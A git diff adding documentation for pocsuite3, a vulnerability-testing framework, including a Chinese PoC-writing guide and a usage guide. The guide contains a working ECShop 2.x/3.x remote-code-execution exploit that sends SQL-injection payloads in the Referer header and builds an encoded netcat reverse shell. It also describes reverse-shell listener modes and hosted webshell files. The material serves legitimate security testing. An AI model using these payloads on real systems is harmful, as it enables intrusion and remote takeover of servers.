pocsuite3 load multi-target from Shodan +[![asciicast](https://asciinema.org/a/207349.png)](https://asciinema.org/a/207349) + +## Requirements + +- Python 3.4+ +- Works on Linux, Windows, Mac OSX, BSD + +## Installation + +The quick way: + +``` bash +$ pip install pocsuite3 +``` + +Or click [here](https://github.com/knownsec/pocsuite3/archive/master.zip) to download the latest source zip package and extract + +``` bash +$ wget https://github.com/knownsec/pocsuite3/archive/master.zip +$ unzip master.zip +``` + + +The latest version of this software is available from: http://pocsuite.org + +## Documentation + +Documentation is available in the [```english docs```](./docs) / [```chinese docs```](./docs/translations/) directory. + + +## How to Contribute + +1. Check for open issues or open a fresh issue to start a discussion around a feature idea or a bug. +2. Fork [the repository](https://github.com/knownsec/pocsuite3) on GitHub to start making your changes to the **dev** branch (or branch off of it). +3. Write a test which shows that the bug was fixed or that the feature works as expected. +4. Send a pull request and bug the maintainer until it gets merged and published. Make sure to add yourself to [THANKS](./docs/THANKS.md). + + +## Links + +* [Contributors](./CONTRIBUTORS.md) +* [Change Log](./CHANGELOG.md) +* [Bug tracking](https://github.com/knownsec/pocsuite3/issues) +* [Copyright](./COPYING) +* [Pocsuite](http://pocsuite.org) +* [Seebug](https://www.seebug.org) +* [ZoomEye](https://www.zoomeye.org) +* [Knownsec](https://www.knownsec.com) \ No newline at end of file diff --git a/build.py b/build.py new file mode 100644 index 00000000..e69de29b diff --git a/docs/CODING.md b/docs/CODING.md new file mode 100644 index 00000000..59280f34 --- /dev/null +++ b/docs/CODING.md @@ -0,0 +1,691 @@ +pocsuite3 开发文档 及 PoC 编写规范及要求说明 +--- +* [概述](#overview) +* [插件 编写规范](#write_plugin) + * [TARGETS 类型插件](#plugin_targets) + * [POCS 类型插件](#plugin_pocs) + * [RESULTS 类型插件](#plugin_results) + * [可自定义参数的插件](#可自定义参数的插件) +* [PoC 脚本编写规范](#write_poc) + * [PoC python脚本编写步骤](#pocpy) + * [PoC 编写注意事项](#attention) + * [Pocsuite 远程调用文件列表](#inclue_files) + * [通用API列表](#common_api) + * [通用方法](#api_common) + * [参数调用](#api_params) + * [PoC 代码示例](#PoCexample) + * [PoC Python 代码示例](#pyexample) +* [pocsuite3 集成调用](#pocsuite_import) +* [PoC 规范说明](#PoCstandard) + * [PoC 编号说明](#idstandard) + * [PoC 命名规范](#namedstandard) + * [PoC 第三方模块依赖说明](#requires) + * [PoC 结果返回规范](#resultstandard) + * [extra 字段说明](#result_extara) + * [通用字段说明](#result_common) + * [漏洞类型规范](#vulcategory) + + +### 概述
+ 本文档为 Pocsuite3 插件及 PoC 脚本编写规范及要求说明,包含了插件 PoC 脚本编写的步骤以及相关 API 的一些说明。一个优秀的 PoC 离不开反复的调试、测试,在阅读本文档前,请先阅读 [《Pocsuite 使用文档》](./USAGE.md)。 + +### 插件 编写规范
+pocsuite3 共有三种类型的插件,定义在 `pocsuite3.lib.core.enums.PLUGIN_TYPE` 中. + +#### TARGETS 类型插件
+TARGETS 类型插件 用来自定义在系统初始化时候 加载检测目标的功能,例如从redis 或 数据库加载 targets +```python +from pocsuite3.api import PluginBase +from pocsuite3.api import PLUGIN_TYPE +from pocsuite3.api import logger +from pocsuite3.api import register_plugin + +class TargetPluginDemo(PluginBase): + category = PLUGIN_TYPE.TARGETS + + def init(self): + targets = ['www.a.com', 'www.b.com'] # load from redis, database ... + count = 0 + for target in targets: + if self.add_target(target): + count += 1 + + info_msg = "[PLUGIN] get {0} target(s) from demo".format(count) + logger.info(info_msg) + + +register_plugin(TargetPluginDemo) +``` + +#### POCS 类型插件
+POCS 类型插件 用来自定义在系统初始化时候 加载PoC 脚本的功能,例如从redis 或 数据库加载 PoC脚本代码 +```python +from pocsuite3.api import PluginBase +from pocsuite3.api import PLUGIN_TYPE +from pocsuite3.api import logger +from pocsuite3.api import register_plugin + +class TargetPluginDemo(PluginBase): + category = PLUGIN_TYPE.POCS + + def init(self): + pocs = [POC_CODE_1, POC_CODE_2] # load PoC code from redis, database ... + count = 0 + for poc in pocs: + if poc and self.add_poc(poc): + count += 1 + + info_msg = "[PLUGIN] get {0} poc(s) from demo".format(count) + logger.info(info_msg) + + +register_plugin(TargetPluginDemo) +``` + +#### RESULTS 类型插件
+RESULTS 类型插件 用来自定义检测结果的导出,例如导出 html 报表等 +```python +from pocsuite3.api import PluginBase +from pocsuite3.api import PLUGIN_TYPE +from pocsuite3.api import logger +from pocsuite3.api import get_results +from pocsuite3.api import register_plugin + +class HtmlReport(PluginBase): + category = PLUGIN_TYPE.RESULTS + + def init(self): + debug_msg = "[PLUGIN] html_report plugin init..." + logger.debug(debug_msg) + + def start(self): + # TODO + # Generate html report + + for result in get_results(): + pass + + info_msg = '[PLUGIN] generate html report done.' + logger.info(info_msg) + +register_plugin(HtmlReport) + +``` +#### 可自定义参数的插件
+如果你需要编写一个可以交互参数的poc文件(例如有的poc脚本需要填写登录信息,或者任意命令执行时执行任意命令),那么可以在poc文件中声明一个`_options`方法。一个简单的例子如下 + +```python +from collections import OrderedDict + +from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests +from pocsuite3.api import OptString + + +class DemoPOC(POCBase): + vulID = '00000' # ssvid + version = '1.0' + author = ['chenghs@knownsec.com'] + vulDate = '2019-2-26' + createDate = '2019-2-26' + updateDate = '2019-2-25' + references = [''] + name = '自定义命令参数登录例子' + appPowerLink = 'http://www.knownsec.com/' + appName = 'test' + appVersion = 'test' + vulType = 'demo' + desc = '''这个例子说明了你可以使用console模式设置一些参数或者使用命令中的'--'来设置自定义的参数''' + samples = [] + category = POC_CATEGORY.EXPLOITS.WEBAPP + + def _options(self): + o = OrderedDict() + o["username"] = OptString('', description='这个poc需要用户登录,请输入登录账号', require=True) + o["password"] = OptString('', description='这个poc需要用户密码,请输出用户密码', require=False) + return o + + def _verify(self): + result = {} + payload = "username={0}&password={1}".format(self.get_option("username"), self.get_option("password")) + r = requests.post(self.url, data=payload) + if r.status_code == 200: + result['VerifyInfo'] = {} + result['VerifyInfo']['URL'] = self.url + result['VerifyInfo']['Postdata'] = payload + + return self.parse_output(result) + + def _attack(self): + return self._verify() + + def parse_output(self, result): + output = Output(self) + if result: + output.success(result) + else: + output.fail('target is not vulnerable') + return output + + +register_poc(DemoPOC) +``` + +它可以使你在`console`或者`cli`模式下调用。 + +- 在console模式下,pocsuite3模仿了msf的操作模式,你只需要使用`set`命令来设置相应的参数,然后`run`或者`check`来执行(`attack`和`shell`命令也可以)。 +- 在cli模式下,如上面例子所示,定义了`username`和`password`两个字段,你可以在参数后面加上`--username test --password test`来调用执行,需要注意的是,如果你的参数中包含了空格,用双引号`"`来包裹它。 + +##### 自定义字段 + +像其他工具一样,如果你想使用自定义的字段,将它定义到`_options`方法中,然后返回一个数组。如果在poc文件中想调用自定义字段,需要提前引入 + +```python +from pocsuite3.api import OptString,OptDict,OptIP,OptPort,OptBool,OptInteger,OptFloat,OptItems +``` + +| 字段类型 | 字段描述 | 参数解释 | 相关例子 | +| ---------- | ------------------------------------------------------------ | ------------------------------------------------------------ | -------- | +| OptString | 接收字符串类型数据 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | +| OptDict | 接收一个字典类型参数,在选择上如果选择key,调用时会调用对应的value | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | +| OptIP | 接收IP类型的字符串 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | +| OptPort | 接收端口类型参数 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | +| OptBool | 接收布尔类型参数 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | +| OptInteger | 接收整数类型参数 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | +| OptFloat | 接收浮点数类型参数 | default:传入一个默认值
descript:字段描述,默认为空
require:是否必须,默认False | | +| OptItems | 接收list类型参数 | default:传入一个默认值
selectd:默认选择
descript:字段描述,默认为空
require:是否必须,默认False | | + +需要注意的是,`console`模式支持所有的参数类型,`cli`模式除了`OptDict`、`OptBool`、`OptItems`类型外都支持。 +### PoC 编写规范
+#### PoC python脚本编写步骤
+ +本小节介绍 PoC python脚本编写 + +pocsuite3 仅支持 Python3.x,如若编写 Python3 格式的 PoC,需要开发者具备一定的 Python3 基础 + +1. 首先新建一个`.py`文件,文件名应当符合 [《PoC 命名规范》](#namedstandard) + + +2. 编写 PoC 实现类`DemoPOC`,继承自`PoCBase`类. + +```python +from pocsuite3.api import Output, POCBase, register_poc, requests, logger +from pocsuite3.api import get_listener_ip, get_listener_port +from pocsuite3.api import REVERSE_PAYLOAD +from pocsuite3.lib.utils import random_str + + class DemoPOC(POCBase): + ... +``` + +3. 填写 PoC 信息字段,**要求认真填写所有基本信息字段** +```python + vulID = '1571' # ssvid ID 如果是提交漏洞的同时提交 PoC,则写成 0 + version = '1' #默认为1 + author = 'seebug' # PoC作者的大名 + vulDate = '2014-10-16' #漏洞公开的时间,不知道就写今天 + createDate = '2014-10-16'# 编写 PoC 的日期 + updateDate = '2014-10-16'# PoC 更新的时间,默认和编写时间一样 + references = ['https://www.sektioneins.de/en/blog/14-10-15-drupal-sql-injection-vulnerability.html']# 漏洞地址来源,0day不用写 + name = 'Drupal 7.x /includes/database/database.inc SQL注入漏洞 PoC'# PoC 名称 + appPowerLink = 'https://www.drupal.org/'# 漏洞厂商主页地址 + appName = 'Drupal'# 漏洞应用名称 + appVersion = '7.x'# 漏洞影响版本 + vulType = 'SQL Injection'#漏洞类型,类型参考见 漏洞类型规范表 + desc = ''' + Drupal 在处理 IN 语句时,展开数组时 key 带入 SQL 语句导致 SQL 注入, + 可以添加管理员、造成信息泄露。 + ''' # 漏洞简要描述 + samples = []# 测试样列,就是用 PoC 测试成功的网站 + install_requires = [] # PoC 第三方模块依赖,请尽量不要使用第三方模块,必要时请参考《PoC第三方模块依赖说明》填写 +``` + +4. 编写验证模式 + +```python + def _verify(self): + output = Output(self) + # 验证代码 + if result: # result是返回结果 + output.success(result) + else: + output.fail('target is not vulnerable') + return output +``` + +5. 编写攻击模式 + +攻击模式可以对目标进行 getshell,查询管理员帐号密码等操作.定义它的方法与检测模式类似 +```python +def _attack(self): + output = Output(self) + result = {} + # 攻击代码 +``` + +和验证模式一样,攻击成功后需要把攻击得到结果赋值给 result 变量 + +**注意:如果该 PoC 没有攻击模式,可以在 \_attack()函数下加入一句 return self.\_verify() 这样你就无需再写 \_attack 函数了。** + +6. 编写shell模式 [**new**] + +pocsuite3 在 shell 模式 会默认监听`6666`端口, 编写对应的攻击代码,让目标执行反向连接 运行pocsuite3 系统IP的 `6666`端口即可得到一个shell +```python +def _shell(self): + cmd = REVERSE_PAYLOAD.BASH.format(get_listener_ip(), get_listener_port()) + # 攻击代码 execute cmd +``` + +shell模式下,只能运行单个PoC脚本,控制台会进入shell交互模式执行命令及输出 + +7. 结果返回 + +不管是验证模式或者攻击模式,返回结果 result 中的 key 值必须按照下面的规范来写,result 各字段意义请参见[《PoC 结果返回规范》](#resultstandard) + +``` +'Result':{ + 'DBInfo' : {'Username': 'xxx', 'Password': 'xxx', 'Salt': 'xxx' , 'Uid':'xxx' , 'Groupid':'xxx'}, + 'ShellInfo': {'URL': 'xxx', 'Content': 'xxx' }, + 'FileInfo': {'Filename':'xxx','Content':'xxx'}, + 'XSSInfo': {'URL':'xxx','Payload':'xxx'}, + 'AdminInfo': {'Uid':'xxx' , 'Username':'xxx' , 'Password':'xxx' } + 'Database': {'Hostname':'xxx', 'Username':'xxx', 'Password':'xxx', 'DBname':'xxx'}, + 'VerifyInfo':{'URL': 'xxx' , 'Postdata':'xxx' , 'Path':'xxx'} + 'SiteAttr': {'Process':'xxx'} + 'Stdout': 'result output string' +} +``` + +output 为 Pocsuite 标准输出API,如果要输出调用成功信息则使用 `output.success(result)`,如果要输出调用失败则 `output.fail()`,系统自动捕获异常,不需要PoC里处理捕获,如果PoC里使用try...except 来捕获异常,可通过`output.error('Error Message')`来传递异常内容,建议直接使用模板中的parse_output通用结果处理函数对_verify和_attack结果进行处理。 +``` +def _verify(self, verify=True): + result = {} + ... + + return self.parse_output(result) + +def parse_output(self, result): + output = Output(self) + if result: + output.success(result) + else: + output.fail() + return output +``` + +8. 注册PoC实现类 + +在类的外部调用register_poc()方法注册PoC类 +``` +class DemoPOC(POCBase): + #POC内部代码 + +#注册 DemoPOC 类 +register_poc(DemoPOC) +``` + +#### PoC 编写注意事项
+1. 要求在编写PoC的时候,尽量的不要使用第三方模块,如果在无法避免的情况下,请认真填写install_requires 字段,填写格式参考《PoC第三方模块依赖说明》。 +2. 要求编写PoC的时候,尽量的使用Pocsuite 已经封装的API提供的方法,避免自己重复造轮子,对于一些通用方法可以加入到API,具体参考《通用API列表》。 +3. 如果PoC需要包含远程文件等,统一使用Pocsuite 远程调用文件,具体可以参考[《Pocsuite 远程调用文件列表》](#inclue_files),不要引入第三方文件,如果缺少对应文件,联系管理员添加。 +4. 要求每个PoC在编写的时候,尽可能的不要要求输入参数,这样定制化过高,不利于PoC的批量化调度执行,尽可能的PoC内部实现参数的构造,至少应该设置默认值,如某个PoC需要指定用户id,那么应该允许使用extar_param传入id,也应该没有传入该参数的时候自动设置默认值,不应该影响PoC的正常运行与验证。 +5. 要求每个PoC在输出结果的时候,尽可能的在不破坏的同时输出取证信息,如输出进程列表,具体参考[《PoC 结果返回规范》](#resultstandard)。 +6. 要求认真填写PoC信息字段,其中vulID请填写Seebug上的漏洞ID(不包含SSV-)。 +7. 为了防止误报产生以及避免被关键词被WAF等作为检测特征,要求验证结果判断的时候输出随机的字符串(可以调用API中的`random_str`方法),而不用采用固定字符串。 +比如: + +``` +检测 SQL 注入时, + token = random_str() + payload = 'select md5(%s)' % token + ... + + if hashlib.new('md5', token).hexdigest() in content: + result['VerifyInfo'] = {} + result['VerifyInfo']['URL'] = self.url + payload +检测 XSS 漏洞时, + token = random_str() + payload = 'alert("%s")' % token + ... + + if hashlib.new('md5', token).hexdigest() in content: + result['VerifyInfo'] = {} + result['VerifyInfo']['URL'] = self.url + payload +检测 PHP 文件上传是否成功, + + token = random_str() + payload = '' % token + ... + + if hashlib.new('md5', token).hexdigest() in content: + result['VerifyInfo'] = {} + result['VerifyInfo']['URL'] = self.url+payload +``` + +8. 任意文件如果需要知道网站路径才能读取文件的话,可以读取系统文件进行验证,要写 Windows 版和 Linux 版两个版本。 +9. 检测模式下,上传的文件一定要删掉。 +10. 程序可以通过某些方法获取表前缀,just do it;若不行,保持默认表前缀。 +11. PoC 编写好后,务必进行测试,测试规则为:5个不受漏洞的网站,确保 PoC 攻击不成功;5个受漏洞影响的网站,确保 PoC 攻击成功 + +#### Pocsuite 远程调用文件列表
+部分 PoC 需要采用包含远程文件的形式,要求基于 Pocsuite 的 PoC 统一调用统一文件(如需引用未在以下文件列表内文件,请联系s1@seebug.org或者直接提交 issue)。 +统一URL调用路径:`http://pocsuite.org/include_files/`,如 `http://pocsuite.org/include_files/xxe_verify.xml` + +**文件列表** + +|文件名|说明| +|-----|---| +|a.jsp|一个通用简单的 JSP 一句话 Shell,攻击模式| +|b.jsp|一个通用简单的 JSP 一句话 Shell,验证模式| +|php_attack.txt|PHP 一句话| +|php_verify.txt|PHP 打印 md5 值| +|xxe_verify.xml|XXE 验证文件| + + +#### 通用API列表
+在编写 PoC 的时候,相关方法请尽量调用通用的已封装的 API + +**通用方法**
+ +|方法|说明| +|---|----| +|from pocsuite3.api import logger|日志记录,比如logger.log(info)| +|from pocsuite3.api import requests|请求类,用法同 requests| +|from pocsuite3.api import Seebug|Seebug api 调用| +|from pocsuite3.api import ZoomEye|ZoomEye api 调用| +|from pocsuite3.api import CEye|Ceye api 调用| +|from pocsuite3.api import crawl|简单爬虫功能| +|from pocsuite3.api import REVERSE_PAYLOAD|反向连接shell payload| +|from pocsuite3.api import get_results|获取结果| + + +**参数调用**
+ +* self.headers 用来获取 http 请求头, 可以通过 --cookie, --referer, --user-agent, --headers 来修改和增加需要的部分 +* self.params 用来获取 --extra-params 赋值的变量, Pocsuite 会自动转化成字典格式, 未赋值时为空字典 +* self.url 用来获取 -u / --url 赋值的 URL, 如果之前赋值是 baidu.com 这样没有协议的格式时, Pocsuite 会自动转换成 http:// baidu.com + + + +#### PoC 代码示例
+ +##### PoC Python 代码示例
+ +[Ecshop 2.x/3.x Remote Code Execution](http://www.seebug.org/vuldb/ssvid-97343) PoC: +``` +import base64 +from urllib.parse import urljoin + +from pocsuite3.api import Output, POCBase, register_poc, requests, logger +from pocsuite3.api import get_listener_ip, get_listener_port +from pocsuite3.api import REVERSE_PAYLOAD +from pocsuite3.lib.utils import random_str +from requests.exceptions import ReadTimeout + + +class DemoPOC(POCBase): + vulID = '97343' # ssvid + version = '3.0' + author = ['seebug'] + vulDate = '2018-06-14' + createDate = '2018-06-14' + updateDate = '2018-06-14' + references = ['https://www.seebug.org/vuldb/ssvid-97343'] + name = 'Ecshop 2.x/3.x Remote Code Execution' + appPowerLink = '' + appName = 'ECSHOP' + appVersion = '2.x,3.x' + vulType = 'Romote Code Execution' + desc = ''' + ''' + samples = [] + install_requires = [''] + + def _verify(self): + result = {} + path = "user.php?act=login" + url = urljoin(self.url, path) + echashs = [ + '554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash + '45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash + ] + + for echash in echashs: + payload = ('{0}ads|a:2:{{s:3:"num";s:116:"*/ select 1,0x2720756E696F6E202F2A,3,4,5,' + '6,7,8,0x7b24616263275d3b6563686f20706870696e666f2f2a2a2f28293b2f2f7d,10' + '-- -";s:2:"id";s:10:"\' union /*";}}{0}').format(echash) + headers = {"Referer": payload} + try: + resp = requests.get(url, headers=headers) + if resp and resp.status_code == 200 and "phpinfo()" in resp.text: + result['VerifyInfo'] = {} + result['VerifyInfo']['URL'] = url + result['VerifyInfo']['Referer'] = payload + break + except Exception as ex: + pass + + return self.parse_output(result) + + def parse_output(self, result): + output = Output(self) + if result: + output.success(result) + else: + output.fail('target is not vulnerable') + return output + + def _attack(self): + return self._verify() + + def _shell(self): + path = "user.php" + url = urljoin(self.url, path) + echashs = [ + '554fcae493e564ee0dc75bdf2ebf94ca', # ECShop 2.x hash + '45ea207d7a2b68c49582d2d22adf953a' # ECShop 3.x hash + ] + + cmd = REVERSE_PAYLOAD.NC.format(get_listener_ip(), get_listener_port()) + phpcode = 'passthru("{0}");'.format(cmd) + encoded_code = base64.b64encode(phpcode.encode()) + postdata = { + 'action': 'login', + 'vulnspy': 'eval/**/(base64_decode({0}));exit;'.format(encoded_code.decode()), + 'rnd': random_str(10) + } + + for echash in echashs: + payload = '{0}ads|a:3:{{s:3:"num";s:207:"*/ select 1,0x2720756e696f6e2f2a,3,4,5,6,7,8,0x7b247b2476756c6e737079275d3b6576616c2f2a2a2f286261736536345f6465636f646528275a585a686243676b5831425055315262646e5673626e4e77655630704f773d3d2729293b2f2f7d7d,0--";s:2:"id";s:9:"'"'"' union/*";s:4:"name";s:3:"ads";}}{1}'.format(echash, echash) + headers = {"Referer": payload} + try: + resp = requests.post(url, data=postdata, headers=headers) + if resp and resp.status_code == 200 and "phpinfo()" in resp.text: + break + except ReadTimeout: + break + except Exception as ex: + pass + + +register_poc(DemoPOC) + +``` +### pocsuite3 集成调用
+pocsuite3 api 提供了集成调用` pocsuite3` 的全部功能函数,可参见测试用例 `tests/test_import_pocsuite_execute.py`。典型的集成调用方法如下: + +```python +from pocsuite3.api import init_pocsuite +from pocsuite3.api import start_pocsuite +from pocsuite3.api import get_results + + +def run_pocsuite(): + # config 配置可参见命令行参数, 用于初始化 pocsuite3.lib.core.data.conf + config = { + 'url': 'http://127.0.0.1:8080', + 'poc': 'ecshop_rce', + } + + init_pocsuite(config) + start_pocsuite() + result = get_results() + +``` + +### PoC 规范说明
+ +#### PoC 编号说明
+PoC 编号ID 与漏洞 ID 一致. + +示例, 漏洞库中的漏洞统一采用“SSV-xxx”编号的方式, 则 PoC 编号为 xxx + + +#### PoC 命名规范
+ +PoC 命名分成3个部分组成漏洞应用名_版本号_漏洞类型名称 然后把文件名种的所有字母改成成小写,所有的符号改成_. +文件名不能有特殊字符和大写字母 最后出来的文件名应该像这样 + +``` + _1847_seeyon_3_1_login_info_disclosure.py +``` +#### PoC 第三方模块依赖说明
+PoC 编写的时候要求尽量不要使用第三方模块,如果必要使用,请在 PoC 的基础信息部分,增加 install_requires 字段,按照以下格式填写依赖的模块名。 +``` +install_requires =[str_item_,str_item,…] # 整个字段的值为list,每个项为一个依赖模块 +``` + +str_item 格式:模块名==版本号,模块名为pip install 安装时的模块名(请不要填写 import 的模块名) + + +#### PoC 结果返回规范
+ +result 为PoC返回的结果数据类型, result返回值要求返回完整的一项, 暂不符合result字段的情况, 放入extra字段中, 此步骤必须尽可能的保证运行者能够根据信息 复现/理解 漏洞, 若果步骤复杂, 在取证信息中说明. 例如: + +```python + #返回数据库管理员密码 + result['DBInfo']['Password']='xxxxx' + #返回 Webshell 地址 + result['ShellInfo']['URL'] = 'xxxxx' + #返回网站管理员用户名 + result['AdminInfo']['Username']='xxxxx' +``` + +**extra 字段说明**
+extra字段为通用结果字段的补充字段,如果需要返回的内容中不属于通用结果字段,那么可以使用extra字段进行赋值。extra字段为dict格式,可自定义key进行赋值,如 +``` +result['extra' ]['field'] = 'aa' +``` + +**特殊字段:** evidence,针对结果中返回取证信息,定义字段名只允许为evidence,并且只能存储于extar字段,即 +``` +result['extra' ]['evidence'] = 'aa' +``` + +**通用字段说明**
+``` +result:[ + { name: 'DBInfo', value:'数据库内容' }, + { name: 'Username', value: '管理员用户名'}, + { name: 'Password', value:'管理员密码' }, + { name: 'Salt', value: '加密盐值'}, + { name: 'Uid', value: '用户ID'}, + { name: 'Groupid', value: '用户组ID'}, + + { name: 'ShellInfo', value: 'Webshell信息'}, + { name: 'URL', value: 'Webshell地址'}, + { name: 'Content', value: 'Webshell内容'}, + + { name: 'FileInfo', value: '文件信息'}, + { name: 'Filename', value: '文件名称'}, + { name: 'Content', value: '文件内容'}, + + { name: 'XSSInfo', value: '跨站脚本信息'}, + { name: 'URL', value: '验证URL'}, + { name: 'Payload', value: '验证Payload'}, + + { name: 'AdminInfo', value: '管理员信息'}, + { name: 'Uid', value: '管理员ID'}, + { name: 'Username', value: '管理员用户名'}, + { name: 'Password', value: '管理员密码'}, + + { name: 'Database', value:'数据库信息' }, + { name: 'Hostname', value: '数据库主机名'}, + { name: 'Username', value:'数据库用户名' }, + { name: 'Password', value: '数据库密码'}, + { name: 'DBname', value: '数据库名'}, + + { name: 'VerifyInfo', value: '验证信息'}, + { name: 'Target', value: '验证host:port'}, + { name: 'URL', value: '验证URL'}, + { name: 'Postdata', value: '验证POST数据'}, + { name: 'Path', value: '网站绝对路径'}, + + { name: 'SiteAttr', value: '网站服务器信息'}, + { name: 'Process', value: '服务器进程'} + + ] + +``` + + +#### 漏洞类型规范
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
英文名称中文名称缩写
Cross Site Scripting 跨站脚本 xss
Cross Site Request Forgery 跨站请求伪造 csrf
SQL Injection Sql注入 sql-inj
LDAP Injection ldap注入 ldap-inj
Mail Command Injection 邮件命令注入 smtp-inj
Null Byte Injection 空字节注入 null-byte-inj
CRLF Injection CRLF注入 crlf-inj
SSI Injection Ssi注入 ssi-inj
XPath Injection Xpath注入 xpath-inj
XML Injection Xml注入 xml-inj
XQuery Injection Xquery 注入 xquery-inj
Command Execution 命令执行 cmd-exec
Code Execution 代码执行 code-exec
Remote File Inclusion 远程文件包含 rfi
Local File Inclusion 本地文件包含 lfi
Abuse of Functionality 功能函数滥用 func-abuse
Brute Force 暴力破解 brute-force
Buffer Overflow 缓冲区溢出 buffer-overflow
Content Spoofing 内容欺骗 spoofing
Credential Prediction 证书预测 credential-prediction
Session Prediction 会话预测 session-prediction
Denial of Service 拒绝服务 dos
Fingerprinting 指纹识别 finger
Format String 格式化字符串 format-string
HTTP Response Smuggling http响应伪造 http-response-smuggling
HTTP Response Splitting http响应拆分 http-response-splitting
HTTP Request Splitting http请求拆分 http-request-splitting
HTTP Request Smuggling http请求伪造 http-request-smuggling
HTTP Parameter Pollution http参数污染 hpp
Integer Overflows 整数溢出 int-overflow
Predictable Resource Location 可预测资源定位 res-location
Session Fixation 会话固定 session-fixation
URL Redirector Abuse url重定向 redirect
Privilege Escalation 权限提升 privilege-escalation
Resolve Error 解析错误 resolve-error
Arbitrary File Creation 任意文件创建 file-creation
Arbitrary File Download 任意文件下载 file-download
Arbitrary File Deletion 任意文件删除 file-deletion
Backup File Found 备份文件发现 bak-file-found
Database Found 数据库发现 db-found
Directory Listing 目录遍历 dir-listing
Directory Traversal 目录穿越 dir-traversal
File Upload 文件上传 file-upload
Login Bypass 登录绕过 login-bypass
Weak Password 弱密码 weak-pass
Remote Password Change 远程密码修改 remote-pass-change
Code Disclosure 代码泄漏 code-disclosure
Path Disclosure 路径泄漏 path-disclosure
Information Disclosure 信息泄漏 info-disclosure
Security Mode Bypass 安全模式绕过 sec-bypass
Malware 挂马 mal
Black Link 暗链 black-link
Backdoor 后门 backdoor
+ +也可以参见[漏洞类型规范](http://seebug.org/category) diff --git a/docs/USAGE.md b/docs/USAGE.md new file mode 100644 index 00000000..22136286 --- /dev/null +++ b/docs/USAGE.md @@ -0,0 +1,156 @@ +# Usage + +- **pocsuite**: a cool and hackable commane line program + +## pocsuite + +Enter into `pocsuite` directory, execute `python cli.py`. It supports double mode: + + - ```verify``` + - ```attack``` + - ```shell``` + +You can also use ```python cli.py -h``` for more details. + +``` +Usage: pocsuite [options] + +Options: + -h, --help show this help message and exit + --version Show program's version number and exit + --update Update Pocsuite + -v VERBOSE Verbosity level: 0-6 (default 1) + + Target: + At least one of these options has to be provided to define the + target(s) + + -u URL, --url=URL Target URL (e.g. "http://www.site.com/vuln.php?id=1") + -f URL_FILE, --file=URL_FILE + Scan multiple targets given in a textual file + -r POC Load POC file from local or remote from seebug website + + Mode: + Pocsuite running mode options + + --verify Run poc with verify mode + --attack Run poc with attack mode + --shell Run poc with shell mode + + Request: + Network request options + + --cookie=COOKIE HTTP Cookie header value + --host=HOST HTTP Host header value + --referer=REFERER HTTP Referer header value + --user-agent=AGENT HTTP User-Agent header value + --random-agent Use randomly selected HTTP User-Agent header value + --proxy=PROXY Use a proxy to connect to the target URL + --proxy-cred=PROXY_CRED + Proxy authentication credentials (name:password) + --timeout=TIMEOUT Seconds to wait before timeout connection (default 30) + --retry=RETRY Time out retrials times. + --delay=DELAY Delay between two request of one thread + --headers=HEADERS Extra headers (e.g. "key1: value1\nkey2: value2") + + Account: + Telnet404 account options + + --login-user=LOGIN_USER + Telnet404 login user + --login-pass=LOGIN_PASS + Telnet404 login password + + Modules: + Modules(Seebug Zoomeye CEye Listener) options + + --dork=DORK Zoomeye dork used for search. + --max-page=MAX_PAGE + Max page used in ZoomEye API(10 targets/Page). + --search-type=SEARCH_TYPE + search type used in ZoomEye API, web or host + --vul-keyword=VUL_KEYWORD + Seebug keyword used for search. + --ssv-id=SSVID Seebug SSVID number for target PoC. + --rhost=CONNECT_BACK_HOST + Connect back host for target PoC in shell mode + --rport=CONNECT_BACK_PORT + Connect back port for target PoC in shell mode + + Optimization: + Optimization options + + --plugins=PLUGINS Load plugins to execute + --pocs-path=POCS_PATH + User defined poc scripts path + --threads=THREADS Max number of concurrent network requests (default 1) + --batch=BATCH Automatically choose defaut choice without asking. + --requires Check install_requires + --quiet Activate quiet mode, working without logger. + +``` + +**-f, --file URLFILE** + +Scan multiple targets given in a textual file + +``` +$ python cli.py -r tests/poc_example.py -f url.txt --verify +``` + +> Attack batch processing mode only need to replace the ```--verify``` as ``` --attack```. + +**-r POCFILE** + +POCFILE can be a file or Seebug SSVID. pocsuite plugin can load poc codes from any where. + + +``` +$ python cli.py -r ssvid-97343 -u http://www.example.com --shell +``` + +**--verify** + +Run poc with verify mode. PoC(s) will be only used for a vulnerability scanning. + +``` +$ python cli.py -r pocs/poc_example.py -u http://www.example.com/ --verify +``` + +**--attack** + +Run poc with attack mode, PoC(s) will be exploitable, and it may allow hackers/researchers break into labs. + +``` +$ python cli.py -r pocs/poc_example.py -u http://www.example.com/ --attack +``` + +**--shell** + +Run poc with shell mode, PoC will be exploitable, when PoC shellcode successfully executed, pocsuite3 will drop into interactive shell. + +``` +$ python cli.py -r pocs/poc_example.py -u http://www.example.com/ --shell +``` + +**--threads THREADS** + +Using multiple threads, the default number of threads is 1 + +``` +$ python cli.py -r tests/ -f url.txt --verify --threads 10 +``` + +**--dork DORK** + +If you are a [**ZoomEye**](https://www.zoomeye.org/) user, The API is a cool and hackable interface. ex: + +Search redis server with ```port:6379``` and ```redis``` keyword. + + +``` +$ python cli.py --dork 'port:6379' --vul-keyword 'redis' --max-page 2 + +``` + +If you have good ideas, please show them on your way. diff --git a/make.bat b/make.bat new file mode 100644 index 00000000..8ed60c70 --- /dev/null +++ b/make.bat @@ -0,0 +1,2 @@ +cd %~dp0 +python3 -m pip install . \ No newline at end of file diff --git a/makefile b/makefile new file mode 100644 index 00000000..e065be04 --- /dev/null +++ b/makefile @@ -0,0 +1,40 @@ +SRC_DIR = pocsuite3 +MAKE = make + + +.PHONY: prebuildclean install build pypimeta pypi buildupload test flake8 clean + + +prebuildclean: + @+python -c "import shutil; shutil.rmtree('build', True)" + @+python -c "import shutil; shutil.rmtree('dist', True)" + @+python -c "import shutil; shutil.rmtree('pocsuite3.egg-info', True)" + +install: + python3 setup.py install + +build: + @make prebuildclean + python3 setup.py sdist --formats=gztar,zip bdist_wheel + #python3 setup.py bdist_wininst + +pypimeta: + twine register + +pypi: + twine upload dist/* + +buildupload: 